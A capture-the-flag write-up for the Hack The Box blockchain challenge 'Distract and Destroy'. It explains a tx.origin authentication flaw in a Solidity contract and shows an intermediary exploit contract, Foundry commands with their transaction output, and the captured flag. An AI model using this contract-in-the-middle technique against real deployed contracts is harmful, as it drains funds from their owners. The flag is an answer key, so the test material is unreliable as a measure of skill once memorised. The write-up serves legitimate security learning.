Distract and Destroy - HTB Blockchain
Hello guys, this three day me try to learn about blockchain security specially code review on solidity code, my experince on solidity very basic, but me so interest about smartcontract for learn about exploit it . This Challange from Hackthebox.
First one we get 2 Smart contract Setup.sol and Creature.sol
```Setup.sol```
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Setup {
Creature public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Creature{value: 10}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
```
from the code we know for setup the creature you must have 1 ether this just you can try set on local in your remix or anything your IDE to set deployment with 1 ether, but the code just setup not have vuln on code can to be exploit.
```Creture.sol```
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "hardhat/console.sol";
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 1000;
}
function attack(uint256 _damage) external {
console.log("ini agro", aggro);
console.log(address(0));
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
}
```
let focus on this code, this is normal code the code have contract name creature, with 3 function all function external this mean the external just can call from the setupcode. from the code we know this like attack game, if you can trigger loop() function this mean lifepoints = 0, your will win and get the flag.

Back to code, from the code we know for attack to be 0 you must use function attack() but somehow on attack function have condition for attack the enemies to zero,
```soldity=
function attack(uint256 _damage) external {
console.log("ini agro", aggro);
console.log(address(0));
if (aggro == address(0)) {
aggro = msg.sender;
}
if (_isOffBalance() && aggro != msg.sender) {
lifePoints -= _damage;
} else {
lifePoints -= 0;
}
}
```
oke know have some trouble, the first one ```aggro === address(0) ``` from the declare aggro not have value this mean aggro is = 0x0000 (zero) and same with address(0) actually agro with be value = msg.sender (your address).
and for can attack the monster, you must bypass this condition
```solidity
if (_isOffBalance() && aggro != msg.sender)
function _isOffBalance() private view returns (bool) {
return tx.origin != msg.sender;
}
```
okay the condition with && this mean you must have two condition true for allow this if, but problem is on isoffbalance must return true, we know ```tx.origin != msg.sender; ``` its nothing because we just one deploy and will have tx origin and message same.
but after we find some article and ask to my friend about tx origin i found this article https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514, the normally tx origin is verified for the caller same with tx origin for allow the caller.
after read some article i know
```External User -> Contract A -> Contract B -> Contract C```
the tx origin can not same with msg sender this mean you must create contract for trigger and deploy have another address and back trigger again the first contract, this mean make some different on tx.origin != msg.sender and too on agro and message sender.
```lets exploit```
```Solve.sol```
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Creature} from "./Creature.sol";
contract Solve{
Creature public creature;
constructor (Creature _creature) {
creature = _creature;
}
function f(uint256 _damage) external {
creature.attack(_damage);
}
}
```
oke deploy the exploit from the code we know this smartcontract trigger attack function to Creature.sol
```bash=
forge create src/Solve.sol:Solve --rpc-url "http://83.136.253.67:54795/rpc" --private-key 0x1f0bb7138b0d7b27e44dd74ec065c57a5163f03f45ac8e695c36c162bd3126fe --constructor-args 0x9BEE4a09CD440BBcD5cC4F65e61B70aFeE32944c
[⠊] Compiling...
No files changed, compilation skipped
Deployer: 0xDa46E1D7F4eAeb9C548C06741f053f703d786076
Deployed to: 0xA7E54A4f35591af205f127bd86B3E7aFD75e7697
Transaction hash: 0xc5f92c72565f483c2af368c3cead2bb7b52f36adde596401bfe852cf18c6103b
```
now we have new contract with address deployed to. now we attack to really contract on challanges.
```bash=
cast send 0x9BEE4a09CD440BBcD5cC4F65e61B70aFeE32944c "attack(uint256)" 1000 --rpc-url "http://83.136.253.67:54795/rpc" --private-key "0x1f0bb7138b0d7b27e44dd74ec065c57a5163f03f45ac8e695c36c162bd3126fe"
blockHash 0xc9f50cacb8febb70f9971dc4715a4cb3fb7c2cee2e38717746d3df87b80a500c
blockNumber 3
contractAddress
cumulativeGasUsed 46057
effectiveGasPrice 3000000000
from 0xDa46E1D7F4eAeb9C548C06741f053f703d786076
gasUsed 46057
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0xe4935342cb986c8638a0d5885309ff28ada5949b76499ef338a436cb67969cbd
transactionIndex 0
type 2
to 0x9BEE4a09CD440BBcD5cC4F65e61B70aFeE32944c
```
transaction success this time for to access my deploy contract for make tx origin different because this condition.
```External User -> Contract A -> Contract B -> Contract C```
```bash=
cast send 0xA7E54A4f35591af205f127bd86B3E7aFD75e7697 "f(uint256)" 1000 --rpc-url "http://83.136.253.67:54795/rpc" --private-key "0x1f0bb7138b0d7b27e44dd74ec065c57a5163f03f45ac8e695c36c162bd3126fe"
blockHash 0x4bae9d83d04911a8e490272e852d0076d9c40d907aef745b7420e885e7e1b39f
blockNumber 4
contractAddress
cumulativeGasUsed 29245
effectiveGasPrice 3000000000
from 0xDa46E1D7F4eAeb9C548C06741f053f703d786076
gasUsed 29245
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x9c7942a847f2c0a483f79f8d88c1a603397714f5dfa5d591128a6a3f2675835c
transactionIndex 0
type 2
to 0xA7E54A4f35591af205f127bd86B3E7aFD75e7697
```
must now the tx origin have different with sender will be true return just loot() function for trigger.
```bash=
cast send 0x9BEE4a09CD440BBcD5cC4F65e61B70aFeE32944c "loot()" --rpc-url "http://83.136.253.67:54795/rpc" --private-key "0x1f0bb7138b0d7b27e44dd74ec065c57a5163f03f45ac8e695c36c162bd3126fe"
blockHash 0x9024ebde54a5e2806f993ffd4f2f74547bbff73066ae7f33f531901400c1c5e5
blockNumber 5
contractAddress
cumulativeGasUsed 30240
effectiveGasPrice 3000000000
from 0xDa46E1D7F4eAeb9C548C06741f053f703d786076
gasUsed 30240
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1
transactionHash 0x937e3da4c22c899aea19397ec6e209c81bf20c5a237c0d9b74e742e06d9426a8
transactionIndex 0
type 2
to 0x9BEE4a09CD440BBcD5cC4F65e61B70aFeE32944c
```
<iframe width="640" height="360" src="https://www.youtube.com/embed/XrmgAdMHRYg?autoplay=1&loop=1" frameborder="0" allowfullscreen></iframe>
```python
Flag: HTB{tx.0r1gin_c4n_74k3_d0wn_4_m0n5732}
```